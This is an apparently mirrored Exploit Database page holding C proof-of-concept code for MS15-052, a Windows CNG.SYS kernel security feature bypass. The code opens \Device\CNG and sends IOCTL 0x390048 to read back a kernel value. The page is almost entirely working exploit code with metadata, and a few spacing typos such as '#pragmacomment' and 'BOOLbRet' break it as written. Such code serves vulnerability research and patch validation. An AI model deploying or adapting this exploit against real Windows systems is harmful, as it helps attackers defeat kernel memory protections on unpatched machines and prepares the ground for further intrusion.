Microsoft Windows – ‘CNG.SYS’ Kernel Security Feature Bypass (MS15-052)

• Exploit Database
• 81 阅读

• 作者： 4B5F5F4B
  日期： 2015-05-18
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/37052/

• // Source: http://www.binvul.com/viewthread.php?tid=508
  // Source: https://twitter.com/NTarakanov/status/598370525132423168
  
  
  #include <windows.h>
  #include <winternl.h>
  #include <stdio.h>
  #pragmacomment(lib, "ntdll.lib")
  
  
  
  int main(int argc, CHAR* argv[]) {
  typedef NTSTATUS(__stdcall *NT_OPEN_FILE)(OUT PHANDLE FileHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG ShareAccess, IN ULONG OpenOptions);
  NT_OPEN_FILE NtOpenFileStruct;
  
  PVOID Info;
  HMODULE hModule = LoadLibrary(("ntdll.dll"));
  NtOpenFileStruct = (NT_OPEN_FILE)GetProcAddress(hModule, "NtOpenFile");
  if(NtOpenFileStruct == NULL) {
  exit(-1);
  }
  
  
  
  UNICODE_STRING filename;
  RtlInitUnicodeString(&filename, L"\\Device\\CNG");
  
  
  OBJECT_ATTRIBUTES obja;
  obja.Attributes=0x40;
  obja.ObjectName = &filename;
  obja.Length=0x18;
  obja.RootDirectory=NULL;
  obja.SecurityDescriptor=NULL;
  obja.SecurityQualityOfService=NULL;
  
  IO_STATUS_BLOCK iostatusblock;
  HANDLE hCNG = NULL;
  NTSTATUS stat = NtOpenFileStruct(&hCNG, 0x100001, &obja, &iostatusblock, 7, 0x20);
  if(NT_SUCCESS(stat)) {
  printf("File successfully opened.\n");
  }
  else {
  printf("File could not be opened.\n");
  return -1;
  }
  DWORD dwBuffer = 0;
  DWORD dwCnt = 0;
  BOOLbRet = DeviceIoControl((HANDLE)hCNG, 0x390048, &dwBuffer, 4, &dwBuffer, 4, &dwCnt, NULL);
  if (FALSE == bRet)
  {
  printf("[*]Send IOCTL fail!\n");
  printf("[*]Error Code:%d\n", GetLastError());
  }
  else
  {
  printf("[*]0x%08x\n", dwBuffer);
  }
  CloseHandle(hCNG);
  getchar();
  return 0;
  }
  

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